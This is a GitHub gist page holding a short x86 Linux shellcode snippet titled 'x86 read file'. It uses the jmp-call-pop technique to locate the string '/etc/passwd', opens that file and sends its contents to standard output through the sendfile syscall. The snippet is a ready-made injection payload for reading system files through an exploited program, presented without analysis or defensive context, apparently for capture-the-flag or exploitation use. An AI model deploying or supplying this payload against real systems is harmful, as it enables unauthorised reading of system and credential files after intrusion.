Created
December 12, 2015 09:55
-
-
Save Jinmo/ad1bd2f936b2a296cc0d to your computer and use it in GitHub Desktop.
x86 read file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jmp a | |
b: | |
pop ebx | |
xor ecx, ecx | |
xor edx, edx | |
lea eax, [ecx+5] | |
int 0x80 | |
xchg eax, ecx | |
mov al, 187 | |
lea ebx, [edx+1] | |
push -1 | |
pop esi | |
int 0x80 | |
hlt | |
a: | |
call b | |
.asciz "/etc/passwd" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment